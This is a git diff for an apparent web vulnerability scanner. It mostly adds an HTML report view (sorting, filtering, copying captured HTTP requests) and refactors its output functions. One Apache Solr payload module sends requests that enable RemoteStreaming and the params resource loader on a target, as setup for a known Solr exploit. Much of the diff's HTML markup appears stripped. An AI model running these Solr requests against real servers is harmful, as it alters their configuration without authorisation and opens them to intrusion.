+
+ if (styleName == "default") {
+ return // * 如果样式名称是default, 则退出, 不需要使用新样式
+ }
+
+ // todo 页面背景色
+ labelStyle.innerHTML += `html {
+ background-color: ` + style["backgroundColor"] + ";}\n"
+
+ // todo 超链接 和 Copy的文字颜色
+ labelStyle.innerHTML += `a,
+ .right .main .requests table tbody tr td span {
+ color: ` + style["a"] + ";}\n"
+
+ // todo 当鼠标移动到ul和li时 的背景色
+ labelStyle.innerHTML += `.left ul:hover,
+ .left ul li:hover,
+ .right .main ul:hover,
+ .right nav ul li:hover {
+ background-color: ` + style["ul_li_hover"] + ";}\n"
+
+ labelStyle.innerHTML += `.left ul:hover strong,
+ .left ul li:hover,
+ .right .main ul:hover li:not(:last-child),
+ .right nav ul li:hover {
+ color: ` + style["ul_li_hover_fontColor"] + ";}\n"
+
+ // todo 顶部背颜色
+ labelStyle.innerHTML += `header {
+ background-color: ` + style["header"] + ";}\n"
+
+ // todo 当鼠标移动到 超链接 和 Copy 时的文字颜色
+ labelStyle.innerHTML += `a:hover,
+ .right .main .requests table tbody tr td span:hover {
+ color: ` + style["a_hover"] + ";}\n"
+
+ // todo 边框颜色
+ labelStyle.innerHTML += `header .top ul li,
+ .right .main,
+ .right .main .icon,
+ .right .main ul,
+ .right .main .requests table tbody tr td,
+ .left>ul,
+ .left>ul:not(:first-child),
+ .left>ul>strong {
+ border-color: ` + style["border"] + ";}\n"
+
+ // todo 文字颜色
+ labelStyle.innerHTML += `.left, .right {
+ color: ` + style["fontColor"] + ";}\n"
+
+ // todo 切换样式ul的背景色
+ labelStyle.innerHTML += `header .top ul {
+ background-color: ` + style["style_ul"] + ";}\n"
+
+ // todo 切换样式ul li的背景色
+ labelStyle.innerHTML += `header .top ul li {
+ background-color: ` + style["style_ul_li"] + ";}\n"
+
+ // todo 导航栏颜色
+ labelStyle.innerHTML += `.right nav ul {
+ background-color: ` + style["nav"] + ";}\n"
+
+ // todo 内容区背景颜色
+ labelStyle.innerHTML += `.right main ul {
+ background-color: ` + style["main_ul"] + ";}\n"
+}
+
+var classTopUlLi = document.querySelectorAll(".top ul li")
+add_click_each(classTopUlLi, select_style)
+
+// ! 1.3 这是左上角的logo
+var a = `
+ ___ _____
+ _ _ _ _ | | ____ ____ [_____]
+ | \\ / /| | | | | | / ___) / _ ] | |
+ \\ \\/ / | (_/ | | |__ ( (___ ( [_] | | |
+ \\__/ (____ ]/[_____] \\____) \\____]/ [_]
+`
+var logo = document.querySelector(".logo")
+logo.innerHTML = "" + a + "
"
+
+// ? ------------------------------------------------------------
+// ? ------------------------------------------------------------
+// ? ------------------------------------------------------------
+// ? ------------------------------------------------------------
+// ? ------------------------------------------------------------
+
+// ! 2. 排序
+var bool = true // * 计数器, true升序, false降序
+var noShowList: string[] = [] // * 列显示 黑名单
+var noShowTrList = { // * 行显示 黑名单
+ "target": [],
+ "vulnid": [],
+ "ftype": [],
+ "time": []
+}
+
+// ! 2.1 数组排序函数
+function sort(arr, dataLeven, bool) {
+ /* 获取数组元素内需要比较的值
+ * params: arr: 需要排序的数组
+ * params: dataLeven: 数组内的需要比较的元素属性
+ * params: bool: 布尔值, true-升序, false-降序
+ */
+ function getValue (option) { // 参数: option 数组元素
+ if (!dataLeven) return option
+
+ var data = option
+ dataLeven.split('.').filter(function (item) {
+ data = data[item]
+ })
+
+ return data + ''
+ }
+
+ arr.sort(function (item1, item2) {
+ if (bool) {
+ return getValue(item1).localeCompare(getValue(item2));
+ }
+
+ return getValue(item2).localeCompare(getValue(item1));
+ })
+}
+
+// ! 2.2 排序漏洞数组的内容, 并在页面上重新显示
+function show_sort(event) {
+ /*
+ * 获取用户点击的类名
+ * 对bool取反, 升序与降序切换
+ * 根据类名排序数组
+ * 重新显示漏洞信息
+ */
+
+ var className = event.target.className
+ bool = !bool
+ sort(vulnContent, className, bool)
+ show()
+}
+
+// ! 2.3 显示漏洞信息内容
+
+var classNav = document.querySelector(".nav") // * 获取漏洞标题
+var classMain = document.querySelector(".main") // * 获取漏洞内容
+
+function show(noShow=noShowList, noShowTr=noShowTrList) {
+ /*
+ * params: noShow: 列黑名单
+ * params: noShowTr: 行黑名单
+ */
+
+ var len = Object.keys(vulnTitle[0]).length // * 获取标题个数
+ var width = "width:" + (96 / len) + "%;" // * 根据个数计算平均宽度, 100-X=96, X为预留宽度
+
+ var classNavHtml = "" // * 标题 起始ul
+ var classMainHtml = "" // * 内容 起始
+
+ // todo 遍历漏洞标题, 判断是否在黑名单noShow中, 使用- 生成HTML结构
+ vulnTitle.forEach(function (item, index) {
+ classNavHtml += "
"
+ for (const [key, val] of Object.entries(item)) {
+ if (noShow.includes(key)) {
+ continue
+ }
+ classNavHtml += "- " + val + "
"
+ }
+ classNavHtml += "
" // * 标题 结束ul
+ })
+
+ // todo 遍历漏洞内容, 判断是否在黑名单noShowTr中, 使用- 生成HTML结构
+ vulnContent.forEach(function (content_item, content_index) {
+ var i = -1 // * 默认不在黑名单中
+
+ for (const [key, val] of Object.entries(noShowTr)) {
+ val.forEach(function (val_item, val_index) {
+ if (!(i+1)) { // * indexOf在黑名单中查找, 直到找到 (行 黑名单)
+ i = content_item[key].indexOf(val_item)
+ }
+ })
+ }
+
+ if (i+1) {
+ // todo 如果在黑名单中, 则不生成该行内容 (行 黑名单)
+ } else {
+ classMainHtml += "
"
+
+ // todo 查找行中的 某列内容, 是否在黑名单中, 在的话不生成该列 (列 黑名单)
+ var fullUrl = ''
+ for (const [key, val] of Object.entries(content_item)) {
+ if (noShow.includes(key)) {
+ continue
+ }
+
+ if (key == "id") {
+ classMainHtml += "- +
"
+ classMainHtml += "- "
+ classMainHtml += val
+ classMainHtml += "
"
+ } else if (key == "fullUrl") {
+ fullUrl = val
+ } else if (key == "requests") {
+ classMainHtml += "- "
+ classMainHtml += "
"
+ classMainHtml += ""
+
+ classMainHtml += "" + fullUrl + " |
"
+
+ val.forEach(function (reqValItem, reqValIndex) {
+ classMainHtml += "Request-" + (reqValIndex + 1) + "Copy |
"
+ classMainHtml += "" + reqValItem + " |
"
+ })
+
+ classMainHtml += ""
+ classMainHtml += "
"
+ classMainHtml += " "
+ } else {
+ classMainHtml += "- " + val + "
"
+ }
+ }
+ classMainHtml += "
" // * 内容 结束
+ }
+ })
+
+ classNav.innerHTML = classNavHtml // * 标题 应用
+ classMain.innerHTML = classMainHtml // * 内容 应用
+
+ // todo 宽度 应用, 获取标题和内容中的所有 - , 应用宽度
+ var classNavLis = document.querySelectorAll(".nav ul li:not(:first-child)")
+ var classMainLis = document.querySelectorAll(".main ul li:not(:last-child):not(:first-child)")
+ var lis = [...classNavLis, ...classMainLis]
+
+ lis.forEach(function (item, index) {
+ item.setAttribute("style", width)
+ })
+
+ // todo 获取标题中的所有
- , 添加点击事件show_sort, 用于内容的 升序和降序
+ var classNavLis_2 = document.querySelectorAll(".nav ul li")
+ add_click_each(classNavLis_2, show_sort)
+
+ // todo 获取内容中的所有
- , 通过 hide_each 批量绑定和解绑相关事件
+ var classMainLis_2 = document.querySelectorAll(".main ul li:not(:last-child)")
+ hide_each(classMainLis)
+
+ // todo 获取内容中的Requests显示栏, 为其中的 Copy 添加点击事件, 用于复制Requests的数据包
+ var requestsCopys = document.querySelectorAll(".right .main .requests table tbody tr td span")
+ add_click_each(requestsCopys, requests_copy)
+}
+
+// todo 复制Requests请求数据包
+function requests_copy(event) {
+ var content_txt = event.target.parentNode.parentNode.nextSibling.textContent // * 获取文本内容
+
+ const selBox = document.createElement('textarea')
+ selBox.value = content_txt
+ document.body.appendChild(selBox) // * 添加一个临时元素
+ // selBox.focus()
+ selBox.select() // * 选中临时元素
+ document.execCommand('copy') // * 调用copy
+ document.body.removeChild(selBox) // * 移除临时元素
+
+ var copy_success=document.createElement("div")
+ copy_success.id="copy_success"
+
+ // * 当找不到id为lunbo的控件时
+ if (document.getElementById("copy_success") == null) {
+ // todo 弹窗, 显示“复制成功”, 2000毫秒后删除该弹窗
+
+ document.body.appendChild(copy_success)
+
+ copy_success.innerHTML="复制成功"
+ setTimeout("document.body.removeChild(copy_success)", 2000)
+ }
+}
+
+// ! 打开文件时, 先对标题 id 进行升序, 然后显示漏洞内容
+sort(vulnContent, 'id', bool)
+show()
+
+// ! 2.4 显示 或 隐藏Requests
+function show_or_hide_requests(event, show=true) {
+ var parent = event.target.parentNode // * 获取父元素
+
+ var requests_li = parent.lastChild // * 获取Requests
+ var icon_span = parent.firstChild // * 获取图标
+ var main_li = parent.childNodes // * 获取所有子元素
+
+ if (show) {
+ // todo 显示Requests, 将图标改为 - , 使用show_each()批量绑定和解绑相关事件
+
+ requests_li.setAttribute("style", "display:block;")
+ icon_span.innerText = "-"
+
+ show_each(main_li)
+ } else {
+ // todo 隐藏Requests, 将图标改为 + , 使用hide_each()批量绑定和解绑相关事件
+
+ requests_li.setAttribute("style", "display:none;")
+ icon_span.innerText = "+"
+
+ hide_each(main_li)
+ }
+
+ // todo Requests不应该有 显示和隐藏 的相关事件, 移除.requests的show和hide
+ var req_li = document.querySelectorAll(".requests")
+ req_li.forEach(function (item, index) {
+ item.removeEventListener("click", show_requests)
+ item.removeEventListener("click", hide_requests)
+ })
+}
+
+function show_each(main) {
+ /*
+ * 移除show_requests, 添加hide_requests
+ * 点击 main li 之后, 其下的Requests显示, 移除 li 的显示事件, 同时为 li 添加隐藏事件
+ */
+
+ main.forEach(function (item, index) {
+ item.removeEventListener("click", show_requests)
+ })
+
+ add_click_each(main, hide_requests)
+}
+
+function hide_each(main) {
+ /*
+ * 移除hide_requests, 添加show_requests
+ * 点击 main li 之后, 其下的Requests隐藏, 移除 li 的隐藏事件, 同时为 li 添加显示事件
+ */
+
+ main.forEach(function (item, index) {
+ item.removeEventListener("click", hide_requests)
+ })
+
+ add_click_each(main, show_requests)
+}
+
+// todo 以下函数用于中转, 默认传递true显示Requests, 隐藏则是传递false
+function show_requests(event) {
+ show_or_hide_requests(event)
+}
+
+function hide_requests(event) {
+ show_or_hide_requests(event, false)
+}
+
+// ? ------------------------------------------------------------
+// ? ------------------------------------------------------------
+// ? ------------------------------------------------------------
+// ? ------------------------------------------------------------
+// ? ------------------------------------------------------------
+
+// ! 3. 侧边栏
+
+// todo 增/删 黑名单
+
+function filter_show(className) {
+ /*
+ * 根据对应的className 添加/移除 黑名单中的元素
+ * 然后重新显示页面内容
+ */
+
+ var noShowTr = className.split("_") // * 获取的类名, 以下划线分割为数组
+ var noShows = noShowTrList[noShowTr[0]] // * 获取对应的黑名单数组
+ var no = noShowTr[1] // * 黑名单内容
+
+ if (noShows.includes(no)) {
+ // * 如果在黑名单数组中 找到了对应的内容, 则删除 (移出黑名单)
+
+ var i = noShows.indexOf(no)
+ if (i+1) {
+ noShows.splice(i, 1)
+ }
+ } else {
+ // * 如果在黑名单数组中 没有找到对应的内容, 则添加 (加入黑名单)
+
+ noShows.push(no)
+ }
+
+ show() // * 重新显示页面内容
+}
+
+// todo 生成过滤器
+function create_filter(vulnArr, noCreate) {
+ /*
+ * params: vulnArr: 对哪个数组生成过滤器
+ * params: noCreate: 忽略数组中的某个字段
+ */
+
+ var filter = []
+
+ vulnArr.forEach(function (item, index) {
+ filter[index] = {}
+
+ for (const [key, val] of Object.entries(item)) {
+ if (!noCreate.includes(key)) {
+ filter[index][key] = val
+
+ if (key == "ftype") {
+ var f_type = val.split("/")
+ filter[index]["framework"] = f_type[0]
+ filter[index]["type"] = f_type[1]
+ }
+ }
+ }
+ })
+
+ return filter
+}
+
+var vulnTitleFilter = create_filter(vulnTitle, ["id"]) // * 标题过滤器
+var vulnContentFilter = create_filter(vulnContent, ["id", "requests"]) // * 内容过滤器
+
+// ! 3.1 侧边栏HTML结构, 每个
对应一个标题的过滤器, - 是内容的过滤器
+var leftHtml = ""
+
+vulnTitleFilter.forEach(function (item, index) {
+ var itemKeyList = []
+
+ for (const [key, val] of Object.entries(item)) {
+ leftHtml += "
"
+ if (!["framework", "type"].includes(key)) {
+ leftHtml += ""
+ }
+ leftHtml += "" + val + ""
+
+ // * 一次性 全选/反选 -
+ leftHtml += "
- "
+ leftHtml += ""
+ leftHtml += "All
"
+
+ // todo 生成" // * 侧边栏 结束
+ }
+})
+
+var left = document.querySelector(".left")
+left.innerHTML = leftHtml // * 获取侧边栏, 应用HTML内容
+
+// ! 3.2 侧边栏 "列"过滤功能
+
+// todo 获取left ul中的 第1和第2个元素, 为它们绑定点击事件filter_current_title
+var classLeftUlLi_1 = document.querySelectorAll(".left>ul :nth-child(1)")
+var classLeftUlLi_2 = document.querySelectorAll(".left>ul :nth-child(2)")
+add_click_each(classLeftUlLi_1, filter_current_title)
+add_click_each(classLeftUlLi_2, filter_current_title)
+
+// todo 标题过滤
+function filter_current_title(event) {
+ var parent = event.target.parentNode // * 获取父元素
+ var checkbox = parent.firstChild // * 获取复选框
+
+ if (event.target.nodeName != "INPUT") {
+ // * 如果鼠标点击的不是, 则需要手动设置相反的值, 以更改选中状态
+ checkbox.checked = !checkbox.checked
+ }
+
+ if (checkbox.checked) {
+ // * 如果选中当前标题, 则删除黑名单中的对应值, 让其在内容中 显示
+
+ var i = noShowList.indexOf(checkbox.className)
+ if (i+1) {
+ noShowList.splice(i, 1)
+ }
+ } else {
+ // * 如果取消选中当前标题, 将其加入黑名单中, 让其在内容中 隐藏
+
+ noShowList.push(checkbox.className)
+ }
+
+ show()
+}
+
+// ! 3.3 侧边栏 "行"过滤功能
+function filter_current_main(event) {
+ // * 获取.left ul li里的标签
+ if (event.target.nodeName == "INPUT") {
+ var target = event.target
+ } else {
+ var target = event.target.previousSibling
+ }
+
+ filter_show(target.className)
+}
+
+// todo 获取下拉- , 为其添加点击事件filter_current_main
+var classLeftUlLis_1 = document.querySelectorAll(".left>ul li:not(.all)>input")
+var classLeftUlLis_2 = document.querySelectorAll(".left>ul li:not(.all)>span")
+add_click_each(classLeftUlLis_1, filter_current_main)
+add_click_each(classLeftUlLis_2, filter_current_main)
+
+// todo 为每个.all添加事件, 用于一次性 选中/反选 其下所有
-
+function select_current_all_li(event) {
+ // * 获取父级
+ var parent = event.target.parentNode
+ var allInput = parent.firstChild // * 获取.all input
+
+ var className = parent.className.replace("all ", ".") // * 获取的类名
+ var current_lis = document.querySelectorAll(className + ":not(.all)")
+
+ // todo 更改所在ul的所有
- 选中状态, 并将其 添加/移出 黑名单
+ current_lis.forEach(function (item, index) {
+ var itemInput = item.firstChild
+
+ if (allInput.checked != itemInput.checked) {
+ filter_show(itemInput.className)
+ itemInput.checked = !itemInput.checked
+ }
+ })
+}
+
+var classleftAll_1 = document.querySelectorAll(".left ul .all>input")
+var classleftAll_2 = document.querySelectorAll(".left ul .all>span")
+add_click_each(classleftAll_1, select_current_all_li)
+add_click_each(classleftAll_2, select_current_all_li)
+
+// ! 3.4 侧边栏
- 的 上卷/下拉 功能
+function show_current_li(event) {
+ // * 获取箭头
+ if (event.target.nodeName == "SPAN") {
+ var target = event.target
+ } else {
+ var target = event.target.firstChild
+ }
+
+
+ var className = target.className.replace("arrow ", ".left_") // * 获取箭头的类名
+ var current_lis = document.querySelectorAll(className) // * 根据获取的className, 获取当前ul下面的所有li
+
+ // todo 更改
- 显示, 并修改箭头样式
+ current_lis.forEach(function (item, index) {
+ if (item.style.display == "block") {
+ // * 如果现在是显示状态, 则改为隐藏
+
+ item.style.display = "none"
+ target.style.borderColor = "transparent transparent black transparent"
+ } else {
+ // * 如果现在是隐藏状态, 则改为显示
+
+ item.style.display = "block"
+ target.style.borderColor = "black transparent transparent transparent"
+ }
+ })
+}
+
+// todo 获取left中的箭头, 添加点击事件show_current_li
+var leftArrow = document.querySelectorAll(".left>ul>i")
+add_click_each(leftArrow, show_current_li)
diff --git a/lib/report/output.py b/lib/report/output.py
index be4c819..19ce947 100644
--- a/lib/report/output.py
+++ b/lib/report/output.py
@@ -3,7 +3,7 @@
from lib.tool import color
from lib.initial.config import config
-from lib.tool.timed import nowtime_year
+from lib.tool.timed import nowtime_year, custom_time
from lib.tool.logger import logger
from thirdparty import requests
from thirdparty import HackRequests
@@ -30,14 +30,18 @@ def output_info(results, lang):
logger.info('green_ex', lang['output']['info']['notvul'].format(logger.requests_number)) # ? 日志, 目标看起来没有漏洞, 发送的请求包数量为xxx个
return None
-def output_text(results, filename, lang):
- ''' 以txt格式保存扫描结果至文件中 '''
+def output_text(results, lang):
+ ''' 以txt格式保存扫描结果至文件中
+ :param results: POC返回的漏洞信息, 字典类型
+ :param lang: 语言
+ '''
try:
+ filename = 'vulcat_' + custom_time('%Y-%m-%d_%H-%M-%S') + '.txt'
results_info_list = []
for result in results:
if result:
- f = open(filename, 'a')
+ f = open(filename, 'a', encoding='utf-8')
f.write('-'*50 + '\n' + '-'*5 + nowtime_year() + '\n')
results_info = '-----'
@@ -50,25 +54,25 @@ def output_text(results, filename, lang):
f.write(result)
logger.info('cyan_ex', lang['output']['text']['success'] + filename) # ? 日志, 已保存结果至XXX.txt文件中
else:
- logger.info('cyan_ex', lang['output']['text']['notvul'] + filename) # ? 日志, 没有漏洞, 未生成文件
+ logger.info('red_ex', lang['output']['text']['notvul']) # ? 日志, 没有漏洞, 未生成文件
return None
f.close()
except:
logger.info('red_ex', lang['output']['text']['faild'])
return None
-def output_json(results, filename, lang):
+def output_json(results, lang):
''' 以json格式保存扫描结果至文件中
:param results: POC返回的漏洞信息, 字典类型
- :param filename: 保存的文件名
:param lang: 语言
'''
try:
+ filename = 'vulcat_' + custom_time('%Y-%m-%d_%H-%M-%S') + '.json'
results_info_list = []
for result in results:
if result:
- f = open(filename, 'a')
+ f = open(filename, 'a', encoding='utf-8')
result_info = {
'Time': nowtime_year()
@@ -80,7 +84,7 @@ def output_json(results, filename, lang):
if type(result_info[key]) == requests.models.Response:
result_info[key] = output_res(key, result_info[key], iscolor=False)
elif type(result_info[key]) == HackRequests.response:
- result_info[key] = output_Hackres(key, result_info[key], iscolor=False)
+ result_info[key] = output_Hackres(key, result_info[key], iscolor=False)
results_info_list.append(json.dumps(result_info, indent=4) + '\n')
results_info_list = set(results_info_list)
@@ -92,18 +96,73 @@ def output_json(results, filename, lang):
f.write(result)
logger.info('cyan_ex', lang['output']['json']['success'] + filename) # ? 日志, 已保存结果至XXX.json文件中
else:
- logger.info('cyan_ex', lang['output']['json']['notvul'] + filename) # ? 日志, 没有漏洞, 未生成文件
+ logger.info('red_ex', lang['output']['json']['notvul'] + filename) # ? 日志, 没有漏洞, 未生成文件
return None
f.close()
except:
logger.info('red_ex', lang['output']['json']['faild'])
return None
-def output_html(result):
- ''' # ! 功能还没写好, 莫急莫急
- 以html格式保存扫描结果至文件中
+def output_html(results, lang):
+ ''' 以html格式保存扫描结果至文件中
+
'''
- pass
+
+ try:
+ filename = 'vulcat_' + custom_time('%Y-%m-%d_%H-%M-%S') + '.html'
+ vulnContents = []
+ idNum = 0
+
+ for i in range(len(results)):
+ result = results[i]
+ if (not result):
+ continue
+
+ idNum += 1
+
+ vulnContent = {
+ 'id': idNum,
+ 'fullUrl': result['Target'],
+ 'target': logger.get_domain(result['Target'], protocol=True),
+ 'ftype': result['Type'][0] + '/' + result['Type'][1],
+ 'vulnid': result['Type'][2],
+ 'time': nowtime_year(),
+ 'requests': []
+ }
+
+ for resKey, resValue in result.items():
+ if ('request' in resKey.lower()):
+ # * requests/HackRequests请求的返回值 -> 解析为 HTTP数据包字符串
+ if type(resValue) == requests.models.Response:
+ requestStr = output_res('', resValue, iscolor=False)
+ elif type(resValue) == HackRequests.response:
+ requestStr = output_Hackres('', resValue, iscolor=False)
+
+ startIndex = requestStr.find('[Request\n') + len('[Request\n')
+ endIndex = requestStr.rfind(']')
+ requestStr = requestStr[startIndex:endIndex]
+
+ resValueHtmlEncode = html_encode(requestStr) # * 对 HTTP数据包字符串 进行HTML实体编码
+ vulnContent['requests'].append(resValueHtmlEncode)
+
+ vulnContents.append(vulnContent)
+
+
+ if vulnContents:
+ vulns = 'var vulnContent=' + str(vulnContents) + ';'
+
+ f = open(filename, 'a', encoding='utf-8')
+ f.write(htmlStart + vulns + jsStart + jstEnd + htmlEnd)
+ f.close()
+
+ logger.info('cyan_ex', lang['output']['html']['success'] + filename) # ? 日志, 已保存结果至XXX.txt文件中
+ else:
+ logger.info('red_ex', lang['output']['html']['notvul']) # ? 日志, 没有漏洞, 未生成文件
+ return None
+ f.close()
+ except:
+ logger.info('red_ex', lang['output']['html']['faild'])
+ return None
def output_vul_info_color(result):
''' 漏洞信息, 带颜色, 用于命令行输出
@@ -261,7 +320,7 @@ def output_Hackres(key, res, iscolor=True, old_str='\n'):
:param key: 字典key值
:param res: HackRequests.Response
:param iscolor: 颜色
- :param rep: 用来适配Exploit模式, exp不能使用带换行的
+ :param old_str: 用来适配Exploit模式, exp不能使用带换行的
:return: 带颜色/无颜色的http请求数据包
'''
info_res = ''
@@ -286,4 +345,31 @@ def output_Hackres(key, res, iscolor=True, old_str='\n'):
except:
return info_res
- return info_res
\ No newline at end of file
+ return info_res
+
+def html_encode(oldStr: str):
+ ''' 对字符串进行HTML实体编码
+ :param oldStr: 需要编码的字符串
+ :return newStr: 编码后的字符串
+ '''
+
+ # * 需要编码的字符, 长度33
+ # htmlLabel = [" ", "!", "\"", "#", "$", "%", "&", "'", "(", ")", "*", "+", ",", "-", ".", "/", ":", ";", "<", "=", ">", "?", "@", "[", "\\", "]", "^", "_", "`", "{", "|", "}", "~"]
+ htmlLabel = ["&", "<", ">", "\"", "'"]
+
+ # * 编码后的字符, 长度33, 与上面一一对应
+ # htmlLabelEncode = [" ", "!", """, "#", "$", "%", "&", "'", "(", ")", "*", "+", ",", "‐", ".", "/", ":", ";", "<", "=", ">", "?", "@", "[", "\", "]", "ˆ", "_", "`", "{", "|", "}", "˜"]
+ htmlLabelEncode = ["&", "<", ">", """, "'"]
+
+ newStr = oldStr
+ for i in range(len(htmlLabel)):
+ newStr = newStr.replace(htmlLabel[i], htmlLabelEncode[i])
+
+ return newStr
+
+# * .html报告 起始和结束 部分
+htmlStart = r'''Document
'''
diff --git a/lib/tool/logger.py b/lib/tool/logger.py
index 21b639a..564f185 100644
--- a/lib/tool/logger.py
+++ b/lib/tool/logger.py
@@ -147,7 +147,12 @@ def logging_6(self, vul_info, status_code, res):
return info_6
return info_6
- def get_domain(self, url):
+ def get_domain(self, url, protocol=False):
+ ''' 提取一个URL中的域名部分
+ param url: 要提取域名的url
+ param protocol: 提取的部分是否包含协议, 默认去掉协议
+ '''
+
try:
start_index = url.find('//')
if start_index:
@@ -155,7 +160,12 @@ def get_domain(self, url):
else:
return 'None'
end_index = url.find('/', start_index)
- domain = url[start_index:end_index]
+
+ if protocol:
+ domain = url[0:end_index]
+ else:
+ domain = url[start_index:end_index]
+
return domain
except:
return 'Error'
diff --git a/lib/tool/timed.py b/lib/tool/timed.py
index 0c65bf2..5eae7ac 100644
--- a/lib/tool/timed.py
+++ b/lib/tool/timed.py
@@ -16,4 +16,9 @@ def nowtime():
def nowtime_year():
''' 返回当前时间(年-月-日 时:分:秒)'''
localtime_year = t.strftime('%Y-%m-%d %H:%M:%S', t.localtime())
- return localtime_year
\ No newline at end of file
+ return localtime_year
+
+def custom_time(timeFormat: str):
+ ''' 自定义时间格式并返回 '''
+ customTime = t.strftime(timeFormat, t.localtime())
+ return customTime
diff --git a/payloads/ApacheSolr/main.py b/payloads/ApacheSolr/main.py
index 0b89e5a..23ddff9 100644
--- a/payloads/ApacheSolr/main.py
+++ b/payloads/ApacheSolr/main.py
@@ -114,49 +114,59 @@ def enable(self, url):
headers = self.headers.copy()
headers.update(vul_info['headers'])
- res1 = requests.get(
- target_core,
- timeout=self.timeout,
- headers=self.headers,
- proxies=self.proxies,
- verify=False
- )
- logger.logging(vul_info, res1.status_code, res1) # * LOG
-
- db_name = re.search(r'"name":".+"', res1.text, re.M|re.I) # * 如果存在solr的数据库名称
- if db_name:
- db_name = db_name.group()
- db_name = db_name.replace('"name":', '')
- self.db_name = db_name.strip('"') # * 只保留双引号内的数据库名称
-
- if self.db_name:
- # todo 开启RemoteStreaming
- res2 = requests.post(
- target_config.format(self.db_name),
+ try:
+ res1 = requests.get(
+ target_core,
timeout=self.timeout,
- headers=headers,
- data=config_data,
+ headers=self.headers,
proxies=self.proxies,
- verify=False,
- allow_redirects=False
+ verify=False
)
- logger.logging(vul_info, res2.status_code, res2)
- if (res2.status_code == 200):
- self.RemoteStreaming = True
-
- # todo 开启params.resource.loader.enabled
- res3 = requests.post(
- target_config.format(self.db_name),
- timeout=self.timeout,
- headers=headers,
- data=params_data,
- proxies=self.proxies,
- verify=False,
- allow_redirects=False
- )
- logger.logging(vul_info, res3.status_code, res3)
- if (res3.status_code == 200):
- self.params = True
+ logger.logging(vul_info, res1.status_code, res1) # * LOG
+
+ db_name = re.search(r'"name":".+"', res1.text, re.M|re.I) # * 如果存在solr的数据库名称
+ if db_name:
+ db_name = db_name.group()
+ db_name = db_name.replace('"name":', '')
+ self.db_name = db_name.strip('"') # * 只保留双引号内的数据库名称
+
+ if self.db_name:
+ # todo 开启RemoteStreaming
+ res2 = requests.post(
+ target_config.format(self.db_name),
+ timeout=self.timeout,
+ headers=headers,
+ data=config_data,
+ proxies=self.proxies,
+ verify=False,
+ allow_redirects=False
+ )
+ logger.logging(vul_info, res2.status_code, res2)
+ if (res2.status_code == 200):
+ self.RemoteStreaming = True
+
+ # todo 开启params.resource.loader.enabled
+ res3 = requests.post(
+ target_config.format(self.db_name),
+ timeout=self.timeout,
+ headers=headers,
+ data=params_data,
+ proxies=self.proxies,
+ verify=False,
+ allow_redirects=False
+ )
+ logger.logging(vul_info, res3.status_code, res3)
+ if (res3.status_code == 200):
+ self.params = True
+ except requests.ConnectTimeout:
+ logger.logging(vul_info, 'Timeout')
+ return None
+ except requests.ConnectionError:
+ logger.logging(vul_info, 'Faild')
+ return None
+ except:
+ logger.logging(vul_info, 'Error')
+ return None
def addscan(self, url, vuln=None):
if vuln:
diff --git a/thirdparty/HackRequests/HackRequests.py b/thirdparty/HackRequests/HackRequests.py
index 8661c97..b2e72d7 100644
--- a/thirdparty/HackRequests/HackRequests.py
+++ b/thirdparty/HackRequests/HackRequests.py
@@ -108,11 +108,11 @@ class hackRequests(object):
可以通过http或者httpraw来访问网络
'''
- def __init__(self, conpool=None):
+ def __init__(self, conpool=None, timeout=17):
self.lock = threading.Lock()
if conpool is None:
- self.httpcon = httpcon(timeout=17)
+ self.httpcon = httpcon(timeout=timeout)
else:
self.httpcon = conpool